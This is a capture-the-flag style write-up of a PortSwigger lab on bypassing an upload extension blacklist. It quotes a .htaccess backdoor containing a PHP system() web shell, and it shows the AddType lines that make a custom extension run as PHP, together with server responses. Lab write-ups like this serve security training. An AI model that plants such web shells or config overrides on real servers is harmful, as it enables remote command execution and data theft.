On this page
Web Shell Upload via Extension Blacklist Bypass
Lab
Web shell upload via extension blacklist bypass · Practitioner
Solution
Given
This lab contains a vulnerable image upload function. Certain file extensions
are blacklisted, but this defense can be bypassed due to a fundamental
flaw in the configuration of this blacklist.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate
the contents of the file /home/carlos/secret. Submit this secret using the
button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Analysis and recon
Try to upload a PHP shell — server rejects it:
HTTP/2 403 Forbidden
Date: Wed, 03 Jun 2026 15:51:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
The server is Apache. Idea: try to upload an Apache config into the directory, i.e. .htaccess. If server-side validation doesn't handle that case, we can slip our own config in and configure PHP execution for a different file extension, disguising it under an innocuous MIME type.
Hop over to PayloadAllTheThings, Upload Insecure Files section, grab the ready-made .htaccess backdoor:
# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell
# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess
# <?php system($_GET['cmd']); ?>
# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand
# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess
It uploads:
HTTP/2 200 OK
Date: Wed, 03 Jun 2026 16:05:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
But when we hit it, the server returns 500 complaining about the config — this shell doesn't go through.
So we drop a stripped-down config — just the line telling Apache to treat shell.bug as a PHP script:
# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php shell.bug
Upload it as .htaccess:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:47:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Uploaded. Check /files/avatars/shell.bug — no luck, it gets served as plain text.
Maybe this config then:
AddType application/x-httpd-php ".bug"
Worked!
2OdvwFa9GvrtQrVwpJ5f9btIo0GQdiy1
Lab solved!
More in this category
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.
Web Shell Upload via Content-Type Restriction Bypass (PortSwigger Lab)
The server only checks the Content-Type header — flip it to image/jpeg and the PHP shell sails through.